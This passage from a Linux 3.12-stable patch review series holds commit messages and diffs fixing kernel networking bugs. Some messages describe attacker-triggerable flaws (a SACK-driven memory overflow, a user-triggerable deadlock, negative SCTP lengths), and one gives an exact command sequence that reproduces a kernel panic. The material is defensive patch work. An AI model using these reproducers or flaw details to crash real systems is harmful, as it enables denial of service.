SK_MEM_QUANTUM is currently a page, but might be reduced to 4096 bytes as some arches have 64KB pages.
--- include/net/sock.h | 6 +++--- net/core/sock.c | 9 +++++---- 2 files changed, 8 insertions(+), 7 deletions(-)
include/net/sock.h +3 -3
@@ -1380,7 +1380,7 @@ static inline struct inode *SOCK_INODE(struct socket *socket)* Functions for memory accounting */ extern int __sk_mem_schedule (struct sock *sk,int size,int kind); -extern void __sk_mem_reclaim (struct sock *sk); +void __sk_mem_reclaim (struct sock *sk,int amount);#define SK_MEM_QUANTUM ((int)PAGE_SIZE)#define SK_MEM_QUANTUM_SHIFT ilog2(SK_MEM_QUANTUM)
@@ -1421,7 +1421,7 @@ static inline void sk_mem_reclaim(struct sock *sk)if (!sk_has_account (sk))return ;if (sk->sk_forward_alloc >=SK_MEM_QUANTUM ) -__sk_mem_reclaim (sk); +__sk_mem_reclaim (sk, sk->sk_forward_alloc); }static inline void sk_mem_reclaim_partial (struct sock *sk)
@@ -1429,7 +1429,7 @@ static inline void sk_mem_reclaim_partial(struct sock *sk)if (!sk_has_account (sk))return ;if (sk->sk_forward_alloc >SK_MEM_QUANTUM ) -__sk_mem_reclaim (sk); +__sk_mem_reclaim (sk, sk->sk_forward_alloc -1 ); }static inline void sk_mem_charge (struct sock *sk,int size)
net/core/sock.c +5 -4
@@ -2095,12 +2095,13 @@ EXPORT_SYMBOL(__sk_mem_schedule);/** * __sk_reclaim - reclaim memory_allocated * @sk: socket +* @amount: number of bytes (rounded down to a SK_MEM_QUANTUM multiple) */ -void __sk_mem_reclaim (struct sock *sk) +void __sk_mem_reclaim (struct sock *sk,int amount) { -sk_memory_allocated_sub (sk, - sk->sk_forward_alloc >>SK_MEM_QUANTUM_SHIFT ); - sk->sk_forward_alloc &=SK_MEM_QUANTUM -1 ; + amount >>=SK_MEM_QUANTUM_SHIFT ; +sk_memory_allocated_sub (sk, amount); + sk->sk_forward_alloc -= amount <<SK_MEM_QUANTUM_SHIFT ;if (sk_under_memory_pressure (sk) && (sk_memory_allocated (sk) <sk_prot_mem_limits (sk,0 )))
Signature · 1 line
2.10.2
PATCH 84/127 tcp: fix overflow in __tcp_retransmit_skb()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit ffb4d6c8508657824bcef68a36b2a0f9d8c09d10 ]
If a TCP socket gets a large write queue, an overflow can happen in a test in __tcp_retransmit_skb() preventing all retransmits.
The flow then stalls and resets after timeouts.
Tested:
sysctl -w net.core.wmem_max=1000000000
netperf -H dest -- -s 1000000000
--- net/ipv4/tcp_output.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-)
net/ipv4/tcp_output.c +2 -1
@@ -2336,7 +2336,8 @@ int __tcp_retransmit_skb(struct sock *sk, struct sk_buff *skb)* copying overhead: fragmentation, tunneling, mangling etc. */ if (atomic_read (&sk->sk_wmem_alloc) > -min (sk->sk_wmem_queued + (sk->sk_wmem_queued >>2 ), sk->sk_sndbuf)) +min_t (u32, sk->sk_wmem_queued + (sk->sk_wmem_queued >>2 ), + sk->sk_sndbuf))return -EAGAIN ;if (before (TCP_SKB_CB (skb)->seq, tp->snd_una)) {
Signature · 1 line
2.10.2
PATCH 85/127 net: avoid sk_forward_alloc overflows
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 20c64d5cd5a2bdcdc8982a06cb05e5e1bd851a3d ]
A malicious TCP receiver, sending SACK, can force the sender to split skbs in write queue and increase its memory usage.
Then, when socket is closed and its write queue purged, we might overflow sk_forward_alloc (It becomes negative)
sk_mem_reclaim() does nothing in this case, and more than 2GB are leaked from TCP perspective (tcp_memory_allocated is not changed)
Then warnings trigger from inet_sock_destruct() and sk_stream_kill_queues() seeing a not zero sk_forward_alloc
All TCP stack can be stuck because TCP is under memory pressure.
A simple fix is to preemptively reclaim from sk_mem_uncharge().
This makes sure a socket wont have more than 2 MB forward allocated, after burst and idle period.
--- include/net/sock.h | 10 ++++++++++ 1 file changed, 10 insertions(+)
include/net/sock.h +10 -0
@@ -1444,6 +1444,16 @@ static inline void sk_mem_uncharge(struct sock *sk, int size)if (!sk_has_account (sk))return ; sk->sk_forward_alloc += size; + +/* Avoid a possible overflow. +* TCP send queues can make this happen, if sk_mem_reclaim() +* is not called and more than 2 GBytes are released at once. +* +* If we reach 2 MBytes, reclaim 1 MBytes right now, there is +* no need to hold that much forward allocation anyway. +*/ +if (unlikely (sk->sk_forward_alloc >=1 <<21 )) +__sk_mem_reclaim (sk,1 <<20 ); }static inline void sk_wmem_free_skb (struct sock *sk,struct sk_buff *skb)
Signature · 1 line
2.10.2
PATCH 86/127 tcp: fix wrong checksum calculation on MTU probing
In reply to Jiri SlabyFrom: Douglas Caetano dos Santos <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 2fe664f1fcf7c4da6891f95708a7a56d3c024354 ]
With TCP MTU probing enabled and offload TX checksumming disabled, tcp_mtu_probe() calculated the wrong checksum when a fragment being copied into the probe's SKB had an odd length. This was caused by the direct use of skb_copy_and_csum_bits() to calculate the checksum, as it pads the fragment being copied, if needed. When this fragment was not the last, a subsequent call used the previous checksum without considering this padding.
The effect was a stale connection in one way, as even retransmissions wouldn't solve the problem, because the checksum was never recalculated for the full SKB length.
--- net/ipv4/tcp_output.c | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-)
net/ipv4/tcp_output.c +7 -5
@@ -1762,12 +1762,14 @@ static int tcp_mtu_probe(struct sock *sk) len =0 ; tcp_for_write_queue_from_safe(skb, next, sk) { copy =min_t (int, skb->len, probe_size - len); -if (nskb->ip_summed) +if (nskb->ip_summed) {skb_copy_bits (skb,0 ,skb_put (nskb, copy), copy); -else - nskb->csum =skb_copy_and_csum_bits (skb,0 , -skb_put (nskb, copy), - copy, nskb->csum); + }else { +__wsum csum =skb_copy_and_csum_bits (skb,0 , +skb_put (nskb, copy), + copy,0 ); + nskb->csum =csum_block_add (nskb->csum, csum, len); + }if (skb->len <= copy) {/* We've eaten all the data from this skb.
Signature · 1 line
2.10.2
PATCH 87/127 ip6_gre: fix flowi6_proto value in ip6gre_xmit_other()
In reply to Jiri SlabyFrom: Lance Richardson <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit db32e4e49ce2b0e5fcc17803d011a401c0a637f6 ]
Similar to commit 3be07244b733 ("ip6_gre: fix flowi6_proto value in xmit path"), set flowi6_proto to IPPROTO_GRE for output route lookup.
Up until now, ip6gre_xmit_other() has set flowi6_proto to a bogus value. This affected output route lookup for packets sent on an ip6gretap device in cases where routing was dependent on the value of flowi6_proto.
Since the correct proto is already set in the tunnel flowi6 template via commit 252f3f5a1189 ("ip6_gre: Set flowi6_proto as IPPROTO_GRE in xmit path."), simply delete the line setting the incorrect flowi6_proto value.
--- net/ipv6/ip6_gre.c | 1 - 1 file changed, 1 deletion(-)
net/ipv6/ip6_gre.c +0 -1
@@ -895,7 +895,6 @@ static int ip6gre_xmit_other(struct sk_buff *skb, struct net_device *dev) encap_limit = t->parms.encap_limit;memcpy (&fl6, &t->fl.u.ip6,sizeof (fl6)); - fl6.flowi6_proto = skb->protocol; err =ip6gre_xmit2 (skb, dev,0 , &fl6, encap_limit, &mtu);
Signature · 1 line
2.10.2
PATCH 88/127 ipmr, ip6mr: fix scheduling while atomic and a deadlock with ipmr_get_route
In reply to Jiri SlabyFrom: Nikolay Aleksandrov <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 2cf750704bb6d7ed8c7d732e071dd1bc890ea5e8 ]
Since the commit below the ipmr/ip6mr rtnl_unicast() code uses the portid instead of the previous dst_pid which was copied from in_skb's portid. Since the skb is new the portid is 0 at that point so the packets are sent to the kernel and we get scheduling while atomic or a deadlock (depending on where it happens) by trying to acquire rtnl two times.
Also since this is RTM_GETROUTE, it can be triggered by a normal user.
Here's the sleeping while atomic trace:
[ 7858.212557] BUG: sleeping function called from invalid context at kernel/locking/mutex.c:620
[ 7858.212748] in_atomic(): 1, irqs_disabled(): 0, pid: 0, name: swapper/0
[ 7858.212881] 2 locks held by swapper/0/0:
[ 7858.213013] #0: (((&mrt->ipmr_expire_timer))){+.-...}, at: [<ffffffff810fbbf5>] call_timer_fn+0x5/0x350
[ 7858.213422] #1: (mfc_unres_lock){+.....}, at: [<ffffffff8161e005>] ipmr_expire_process+0x25/0x130
[ 7858.213807] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.8.0-rc7+ #179
[ 7858.213934] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014
[ 7858.214108] 0000000000000000 ffff88005b403c50 ffffffff813a7804 0000000000000000
[ 7858.214412] ffffffff81a1338e ffff88005b403c78 ffffffff810a4a72 ffffffff81a1338e
[ 7858.214716] 000000000000026c 0000000000000000 ffff88005b403ca8 ffffffff810a4b9f
[ 7858.215251] Call Trace:
[ 7858.215412] <IRQ> [<ffffffff813a7804>] dump_stack+0x85/0xc1
[ 7858.215662] [<ffffffff810a4a72>] ___might_sleep+0x192/0x250
[ 7858.215868] [<ffffffff810a4b9f>] __might_sleep+0x6f/0x100
[ 7858.216072] [<ffffffff8165bea3>] mutex_lock_nested+0x33/0x4d0
[ 7858.216279] [<ffffffff815a7a5f>] ? netlink_lookup+0x25f/0x460
[ 7858.216487] [<ffffffff8157474b>] rtnetlink_rcv+0x1b/0x40
[ 7858.216687] [<ffffffff815a9a0c>] netlink_unicast+0x19c/0x260
[ 7858.216900] [<ffffffff81573c70>] rtnl_unicast+0x20/0x30
[ 7858.217128] [<ffffffff8161cd39>] ipmr_destroy_unres+0xa9/0xf0
[ 7858.217351] [<ffffffff8161e06f>] ipmr_expire_process+0x8f/0x130
[ 7858.217581] [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
[ 7858.217785] [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
[ 7858.217990] [<ffffffff810fbc95>] call_timer_fn+0xa5/0x350
[ 7858.218192] [<ffffffff810fbbf5>] ? call_timer_fn+0x5/0x350
[ 7858.218415] [<ffffffff8161dfe0>] ? ipmr_net_init+0x180/0x180
[ 7858.218656] [<ffffffff810fde10>] run_timer_softirq+0x260/0x640
[ 7858.218865] [<ffffffff8166379b>] ? __do_softirq+0xbb/0x54f
[ 7858.219068] [<ffffffff816637c8>] __do_softirq+0xe8/0x54f
[ 7858.219269] [<ffffffff8107a948>] irq_exit+0xb8/0xc0
[ 7858.219463] [<ffffffff81663452>] smp_apic_timer_interrupt+0x42/0x50
[ 7858.219678] [<ffffffff816625bc>] apic_timer_interrupt+0x8c/0xa0
[ 7858.219897] <EOI> [<ffffffff81055f16>] ? native_safe_halt+0x6/0x10
[ 7858.220165] [<ffffffff810d64dd>] ? trace_hardirqs_on+0xd/0x10
[ 7858.220373] [<ffffffff810298e3>] default_idle+0x23/0x190
[ 7858.220574] [<ffffffff8102a20f>] arch_cpu_idle+0xf/0x20
[ 7858.220790] [<ffffffff810c9f8c>] default_idle_call+0x4c/0x60
[ 7858.221016] [<ffffffff810ca33b>] cpu_startup_entry+0x39b/0x4d0
[ 7858.221257] [<ffffffff8164f995>] rest_init+0x135/0x140
[ 7858.221469] [<ffffffff81f83014>] start_kernel+0x50e/0x51b
[ 7858.221670] [<ffffffff81f82120>] ? early_idt_handler_array+0x120/0x120
[ 7858.221894] [<ffffffff81f8243f>] x86_64_start_reservations+0x2a/0x2c
[ 7858.222113] [<ffffffff81f8257c>] x86_64_start_kernel+0x13b/0x14a--- include/linux/mroute.h | 2 +- include/linux/mroute6.h | 2 +- net/ipv4/ipmr.c | 3 ++- net/ipv4/route.c | 3 ++- net/ipv6/ip6mr.c | 5 +++-- net/ipv6/route.c | 4 +++- 6 files changed, 12 insertions(+), 7 deletions(-)
include/linux/mroute.h +1 -1
@@ -103,5 +103,5 @@ struct mfc_cache {struct rtmsg ;extern int ipmr_get_route (struct net *net,struct sk_buff *skb,__be32 saddr,__be32 daddr, -struct rtmsg *rtm,int nowait); +struct rtmsg *rtm,int nowait,u32 portid);#endif
include/linux/mroute6.h +1 -1
@@ -115,7 +115,7 @@ struct mfc6_cache {struct rtmsg ;extern int ip6mr_get_route (struct net *net,struct sk_buff *skb, -struct rtmsg *rtm,int nowait); +struct rtmsg *rtm,int nowait,u32 portid);#ifdef CONFIG_IPV6_MROUTE extern struct sock *mroute6_socket (struct net *net,struct sk_buff *skb);
net/ipv4/ipmr.c +2 -1
@@ -2188,7 +2188,7 @@ static int __ipmr_fill_mroute(struct mr_table *mrt, struct sk_buff *skb,int ipmr_get_route (struct net *net,struct sk_buff *skb,__be32 saddr,__be32 daddr, -struct rtmsg *rtm,int nowait) +struct rtmsg *rtm,int nowait,u32 portid) {struct mfc_cache *cache;struct mr_table *mrt;
@@ -2233,6 +2233,7 @@ int ipmr_get_route(struct net *net, struct sk_buff *skb,return -ENOMEM ; } +NETLINK_CB (skb2).portid = portid;skb_push (skb2,sizeof (struct iphdr ));skb_reset_network_header (skb2); iph =ip_hdr (skb2);
net/ipv4/route.c +2 -1
@@ -2427,7 +2427,8 @@ static int rt_fill_info(struct net *net, __be32 dst, __be32 src, IPV4_DEVCONF_ALL(net, MC_FORWARDING)) {int err =ipmr_get_route (net, skb, fl4->saddr, fl4->daddr, - r, nowait); + r, nowait, portid); +if (err <=0 ) {if (!nowait) {if (err ==0 )
net/ipv6/ip6mr.c +3 -2
@@ -2273,8 +2273,8 @@ static int __ip6mr_fill_mroute(struct mr6_table *mrt, struct sk_buff *skb,return 1 ; } -int ip6mr_get_route (struct net *net, -struct sk_buff *skb,struct rtmsg *rtm,int nowait) +int ip6mr_get_route (struct net *net,struct sk_buff *skb,struct rtmsg *rtm, +int nowait,u32 portid) {int err;struct mr6_table *mrt;
@@ -2319,6 +2319,7 @@ int ip6mr_get_route(struct net *net,return -ENOMEM ; } +NETLINK_CB (skb2).portid = portid;skb_reset_transport_header (skb2);skb_put (skb2,sizeof (struct ipv6hdr ));
net/ipv6/route.c +3 -1
@@ -2614,7 +2614,9 @@ static int rt6_fill_node(struct net *net,if (iif) {#ifdef CONFIG_IPV6_MROUTE if (ipv6_addr_is_multicast (&rt->rt6i_dst.addr)) { -int err =ip6mr_get_route (net, skb, rtm, nowait); +int err =ip6mr_get_route (net, skb, rtm, nowait, + portid); +if (err <=0 ) {if (!nowait) {if (err ==0 )
Signature · 1 line
2.10.2
PATCH 89/127 net: Add netdev all_adj_list refcnt propagation to fix panic
In reply to Jiri SlabyFrom: Andrew Collins <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 93409033ae653f1c9a949202fb537ab095b2092f ]
This is a respin of a patch to fix a relatively easily reproducible kernel panic related to the all_adj_list handling for netdevs in recent kernels.
The following sequence of commands will reproduce the issue:
ip link add link eth0 name eth0.100 type vlan id 100 ip link add link eth0 name eth0.200 type vlan id 200 ip link add name testbr type bridge
ip link set eth0.100 master testbr
ip link set eth0.200 master testbr
ip link add link testbr mac0 type macvlan
ip link delete dev testbr
This creates an upper/lower tree of (excuse the poor ASCII art):
/---eth0.100-eth0
mac0-testbr-
\---eth0.200-eth0When testbr is deleted, the all_adj_lists are walked, and eth0 is deleted twice from the mac0 list. Unfortunately, during setup in __netdev_upper_dev_link, only one reference to eth0 is added, so this results in a panic.
This change adds reference count propagation so things are handled properly.
Matthias Schiffer reported a similar crash in batman-adv:
https://github.com/freifunk-gluon/gluon/issues/680
https://www.open-mesh.org/issues/247
which this patch also seems to resolve.
--- net/core/dev.c | 76 +++++++++++++++++++++++++++++++++------------------------- 1 file changed, 43 insertions(+), 33 deletions(-)
net/core/dev.c +43 -33
@@ -4546,6 +4546,7 @@ EXPORT_SYMBOL(netdev_master_upper_dev_get_rcu);static int __netdev_adjacent_dev_insert (struct net_device *dev,struct net_device *adj_dev, +u16 ref_nr,bool neighbour,bool master,bool upper) {
@@ -4555,7 +4556,7 @@ static int __netdev_adjacent_dev_insert(struct net_device *dev,if (adj) {BUG_ON (neighbour); - adj->ref_nr++; + adj->ref_nr += ref_nr;return 0 ; }
@@ -4566,7 +4567,7 @@ static int __netdev_adjacent_dev_insert(struct net_device *dev, adj->dev = adj_dev; adj->master = master; adj->neighbour = neighbour; - adj->ref_nr =1 ; + adj->ref_nr = ref_nr;dev_hold (adj_dev); pr_debug("dev_hold for %s, because of %s link added from %s to %s\n",
@@ -4589,22 +4590,25 @@ static int __netdev_adjacent_dev_insert(struct net_device *dev,static inline int __netdev_upper_dev_insert (struct net_device *dev,struct net_device *udev, +u16 ref_nr,bool master,bool neighbour) { -return __netdev_adjacent_dev_insert (dev, udev, neighbour, master, - true); +return __netdev_adjacent_dev_insert (dev, udev, ref_nr, neighbour, + master, true); }static inline int __netdev_lower_dev_insert (struct net_device *dev,struct net_device *ldev, +u16 ref_nr,bool neighbour) { -return __netdev_adjacent_dev_insert (dev, ldev, neighbour, false, +return __netdev_adjacent_dev_insert (dev, ldev, ref_nr, neighbour, false, false); }void __netdev_adjacent_dev_remove (struct net_device *dev, -struct net_device *adj_dev,bool upper) +struct net_device *adj_dev,u16 ref_nr, +bool upper) {struct netdev_adjacent *adj;
@@ -4616,8 +4620,8 @@ void __netdev_adjacent_dev_remove(struct net_device *dev,if (!adj)BUG (); -if (adj->ref_nr >1 ) { - adj->ref_nr--; +if (adj->ref_nr > ref_nr) { + adj->ref_nr -= ref_nr;return ; }
@@ -4630,30 +4634,33 @@ void __netdev_adjacent_dev_remove(struct net_device *dev, }static inline void __netdev_upper_dev_remove (struct net_device *dev, -struct net_device *udev) +struct net_device *udev, +u16 ref_nr) { -return __netdev_adjacent_dev_remove (dev, udev, true); +return __netdev_adjacent_dev_remove (dev, udev, ref_nr, true); }static inline void __netdev_lower_dev_remove (struct net_device *dev, -struct net_device *ldev) +struct net_device *ldev, +u16 ref_nr) { -return __netdev_adjacent_dev_remove (dev, ldev, false); +return __netdev_adjacent_dev_remove (dev, ldev, ref_nr, false); }int __netdev_adjacent_dev_insert_link (struct net_device *dev,struct net_device *upper_dev, -bool master,bool neighbour) +u16 ref_nr,bool master,bool neighbour) {int ret; - ret =__netdev_upper_dev_insert (dev, upper_dev, master, neighbour); + ret =__netdev_upper_dev_insert (dev, upper_dev, ref_nr, master, + neighbour);if (ret)return ret; - ret =__netdev_lower_dev_insert (upper_dev, dev, neighbour); + ret =__netdev_lower_dev_insert (upper_dev, dev, ref_nr, neighbour);if (ret) { -__netdev_upper_dev_remove (dev, upper_dev); +__netdev_upper_dev_remove (dev, upper_dev, ref_nr);return ret; }
@@ -4661,23 +4668,25 @@ int __netdev_adjacent_dev_insert_link(struct net_device *dev, }static inline int __netdev_adjacent_dev_link (struct net_device *dev, -struct net_device *udev) +struct net_device *udev, +u16 ref_nr) { -return __netdev_adjacent_dev_insert_link (dev, udev, false, false); +return __netdev_adjacent_dev_insert_link (dev, udev, ref_nr, false, + false); }static inline int __netdev_adjacent_dev_link_neighbour (struct net_device *dev,struct net_device *udev,bool master) { -return __netdev_adjacent_dev_insert_link (dev, udev, master, true); +return __netdev_adjacent_dev_insert_link (dev, udev,1 , master, true); }void __netdev_adjacent_dev_unlink (struct net_device *dev, -struct net_device *upper_dev) +struct net_device *upper_dev,u16 ref_nr) { -__netdev_upper_dev_remove (dev, upper_dev); -__netdev_lower_dev_remove (upper_dev, dev); +__netdev_upper_dev_remove (dev, upper_dev, ref_nr); +__netdev_lower_dev_remove (upper_dev, dev, ref_nr); }
@@ -4713,7 +4722,8 @@ static int __netdev_upper_dev_link(struct net_device *dev,*/ list_for_each_entry (i, &dev->lower_dev_list, list) {list_for_each_entry (j, &upper_dev->upper_dev_list, list) { - ret =__netdev_adjacent_dev_link (i->dev, j->dev); + ret =__netdev_adjacent_dev_link (i->dev, j->dev, + i->ref_nr);if (ret) goto rollback_mesh; }
@@ -4721,14 +4731,14 @@ static int __netdev_upper_dev_link(struct net_device *dev,/* add dev to every upper_dev's upper device */ list_for_each_entry (i, &upper_dev->upper_dev_list, list) { - ret =__netdev_adjacent_dev_link (dev, i->dev); + ret =__netdev_adjacent_dev_link (dev, i->dev, i->ref_nr);if (ret) goto rollback_upper_mesh; }/* add upper_dev to every dev's lower device */ list_for_each_entry (i, &dev->lower_dev_list, list) { - ret =__netdev_adjacent_dev_link (i->dev, upper_dev); + ret =__netdev_adjacent_dev_link (i->dev, upper_dev, i->ref_nr);if (ret) goto rollback_lower_mesh; }
@@ -4741,7 +4751,7 @@ rollback_lower_mesh:list_for_each_entry (i, &dev->lower_dev_list, list) {if (i == to_i)break ; -__netdev_adjacent_dev_unlink (i->dev, upper_dev); +__netdev_adjacent_dev_unlink (i->dev, upper_dev, i->ref_nr); } i =NULL ;
@@ -4751,7 +4761,7 @@ rollback_upper_mesh:list_for_each_entry (i, &upper_dev->upper_dev_list, list) {if (i == to_i)break ; -__netdev_adjacent_dev_unlink (dev, i->dev); +__netdev_adjacent_dev_unlink (dev, i->dev, i->ref_nr); } i = j =NULL ;
@@ -4763,13 +4773,13 @@ rollback_mesh:list_for_each_entry (j, &upper_dev->upper_dev_list, list) {if (i == to_i && j == to_j)break ; -__netdev_adjacent_dev_unlink (i->dev, j->dev); +__netdev_adjacent_dev_unlink (i->dev, j->dev, i->ref_nr); }if (i == to_i)break ; } -__netdev_adjacent_dev_unlink (dev, upper_dev); +__netdev_adjacent_dev_unlink (dev, upper_dev,1 );return ret; }
@@ -4823,7 +4833,7 @@ void netdev_upper_dev_unlink(struct net_device *dev,struct netdev_adjacent *i, *j;ASSERT_RTNL (); -__netdev_adjacent_dev_unlink (dev, upper_dev); +__netdev_adjacent_dev_unlink (dev, upper_dev,1 );/* Here is the tricky part. We must remove all dev's lower * devices from all upper_dev's upper devices and vice
@@ -4831,16 +4841,16 @@ void netdev_upper_dev_unlink(struct net_device *dev,*/ list_for_each_entry (i, &dev->lower_dev_list, list)list_for_each_entry (j, &upper_dev->upper_dev_list, list) -__netdev_adjacent_dev_unlink (i->dev, j->dev); +__netdev_adjacent_dev_unlink (i->dev, j->dev, i->ref_nr);/* remove also the devices itself from lower/upper device * list */ list_for_each_entry (i, &dev->lower_dev_list, list) -__netdev_adjacent_dev_unlink (i->dev, upper_dev); +__netdev_adjacent_dev_unlink (i->dev, upper_dev, i->ref_nr);list_for_each_entry (i, &upper_dev->upper_dev_list, list) -__netdev_adjacent_dev_unlink (dev, i->dev); +__netdev_adjacent_dev_unlink (dev, i->dev, i->ref_nr);call_netdevice_notifiers (NETDEV_CHANGEUPPER , dev); }
Signature · 1 line
2.10.2
PATCH 90/127 packet: call fanout_release, while UNREGISTERING a netdev
In reply to Jiri SlabyFrom: Anoob Soman <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 6664498280cf17a59c3e7cf1a931444c02633ed1 ]
If a socket has FANOUT sockopt set, a new proto_hook is registered as part of fanout_add(). When processing a NETDEV_UNREGISTER event in af_packet, __fanout_unlink is called for all sockets, but prot_hook which was registered as part of fanout_add is not removed. Call fanout_release, on a NETDEV_UNREGISTER, which removes prot_hook and removes fanout from the fanout_list.
This fixes BUG_ON(!list_empty(&dev->ptype_specific)) in netdev_run_todo()
--- net/packet/af_packet.c | 1 + 1 file changed, 1 insertion(+)
net/packet/af_packet.c +1 -0
@@ -3365,6 +3365,7 @@ static int packet_notifier(struct notifier_block *this, }if (msg ==NETDEV_UNREGISTER ) {packet_cached_dev_reset (po); +fanout_release (sk); po->ifindex =-1 ;if (po->prot_hook.dev)dev_put (po->prot_hook.dev);
Signature · 1 line
2.10.2
PATCH 91/127 ipv6: correctly add local routes when lo goes up
In reply to Jiri SlabyFrom: Nicolas Dichtel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit a220445f9f4382c36a53d8ef3e08165fa27f7e2c ]
The goal of the patch is to fix this scenario:
ip link add dummy1 type dummy
ip link set dummy1 up
ip link set lo down ; ip link set lo up
After that sequence, the local route to the link layer address of dummy1 is not there anymore.
When the loopback is set down, all local routes are deleted by addrconf_ifdown()/rt6_ifdown(). At this time, the rt6_info entry still exists, because the corresponding idev has a reference on it. After the rcu grace period, dst_rcu_free() is called, and thus ___dst_free(), which will set obsolete to DST_OBSOLETE_DEAD.
In this case, init_loopback() is called before dst_rcu_free(), thus obsolete is still sets to something <= 0. So, the function doesn't add the route again. To avoid that race, let's check the rt6 refcnt instead.
--- net/ipv6/addrconf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
net/ipv6/addrconf.c +1 -1
@@ -2648,7 +2648,7 @@ static void init_loopback(struct net_device *dev)* lo device down, release this obsolete dst and * reallocate a new router for ifa. */ -if (sp_ifa->rt->dst.obsolete >0 ) { +if (!atomic_read (&sp_ifa->rt->rt6i_ref)) {ip6_rt_put (sp_ifa->rt); sp_ifa->rt =NULL ; }else {
Signature · 1 line
2.10.2
PATCH 92/127 bridge: multicast: restore perm router ports on multicast enable
In reply to Jiri SlabyFrom: Nikolay Aleksandrov <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
[ Upstream commit 7cb3f9214dfa443c1ccc2be637dcc6344cc203f0 ]
Satish reported a problem with the perm multicast router ports not getting reenabled after some series of events, in particular if it happens that the multicast snooping has been disabled and the port goes to disabled state then it will be deleted from the router port list, but if it moves into non-disabled state it will not be re-added because the mcast snooping is still disabled, and enabling snooping later does nothing.
Here are the steps to reproduce, setup br0 with snooping enabled and eth1 added as a perm router (multicast_router = 2):
1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping
2. $ ip l set eth1 down
^ This step deletes the interface from the router list
3. $ ip l set eth1 up
^ This step does not add it again because mcast snooping is disabled
4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping
5. $ bridge -d -s mdb show
<empty>
At this point we have mcast enabled and eth1 as a perm router (value = 2) but it is not in the router list which is incorrect.
After this change:
1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping
2. $ ip l set eth1 down
^ This step deletes the interface from the router list
3. $ ip l set eth1 up
^ This step does not add it again because mcast snooping is disabled
4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping
5. $ bridge -d -s mdb show
router ports on br0: eth1
Note: we can directly do br_multicast_enable_port for all because the querier timer already has checks for the port state and will simply expire if it's in blocking/disabled. See the comment added by commit 9aa66382163e7 ("bridge: multicast: add a comment to br_port_state_selection about blocking state")
--- net/bridge/br_multicast.c | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-)
net/bridge/br_multicast.c +14 -9
@@ -911,20 +911,25 @@ static void br_multicast_enable(struct bridge_mcast_query *query)mod_timer (&query->timer, jiffies); } -void br_multicast_enable_port (struct net_bridge_port *port) +static void __br_multicast_enable_port (struct net_bridge_port *port) {struct net_bridge *br = port->br; -spin_lock (&br->multicast_lock);if (br->multicast_disabled || !netif_running (br->dev)) - goto out; +return ;br_multicast_enable (&port->ip4_query);#if IS_ENABLED (CONFIG_IPV6 )br_multicast_enable (&port->ip6_query);#endif +} -out: +void br_multicast_enable_port (struct net_bridge_port *port) +{ +struct net_bridge *br = port->br; + +spin_lock (&br->multicast_lock); +__br_multicast_enable_port (port);spin_unlock (&br->multicast_lock); }
@@ -1954,8 +1959,9 @@ static void br_multicast_start_querier(struct net_bridge *br,int br_multicast_toggle (struct net_bridge *br,unsigned long val) { -int err =0 ;struct net_bridge_mdb_htable *mdb; +struct net_bridge_port *port; +int err =0 ;spin_lock_bh (&br->multicast_lock);if (br->multicast_disabled == !val)
@@ -1983,10 +1989,9 @@ rollback: goto rollback; } -br_multicast_start_querier (br, &br->ip4_query); -#if IS_ENABLED (CONFIG_IPV6 ) -br_multicast_start_querier (br, &br->ip6_query); -#endif +br_multicast_open (br); +list_for_each_entry (port, &br->port_list, list) +__br_multicast_enable_port (port); unlock:spin_unlock_bh (&br->multicast_lock);
Signature · 1 line
2.10.2
PATCH 93/127 net: sctp, forbid negative length
In reply to Jiri Slaby3.12-stable review patch. If anyone has any objections, please let me know.
=======
[ Upstream commit a4b8e71b05c27bae6bad3bdecddbc6b68a3ad8cf ]
Most of getsockopt handlers in net/sctp/socket.c check len against sizeof some structure like:
if (len < sizeof(int))
return -EINVAL;
On the first look, the check seems to be correct. But since len is int and sizeof returns size_t, int gets promoted to unsigned size_t too. So the test returns false for negative lengths. Yes, (-1 < sizeof(long)) is false.
Fix this in sctp by explicitly checking len < 0 before any getsockopt handler is called.
Note that sctp_getsockopt_events already handled the negative case. Since we added the < 0 check elsewhere, this one can be removed.
If not checked, this is the result:
UBSAN: Undefined behaviour in ../mm/page_alloc.c:2722:19 shift exponent 52 is too large for 32-bit type 'int' CPU: 1 PID: 24535 Comm: syz-executor Not tainted 4.8.1-0-syzkaller #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.1-0-gb3ef39f-prebuilt.qemu-project.org 04/01/2014 0000000000000000 ffff88006d99f2a8 ffffffffb2f7bdea 0000000041b58ab3 ffffffffb4363c14 ffffffffb2f7bcde ffff88006d99f2d0 ffff88006d99f270 0000000000000000 0000000000000000 0000000000000034 ffffffffb5096422 Call Trace: [<ffffffffb3051498>] ? __ubsan_handle_shift_out_of_bounds+0x29c/0x300
...
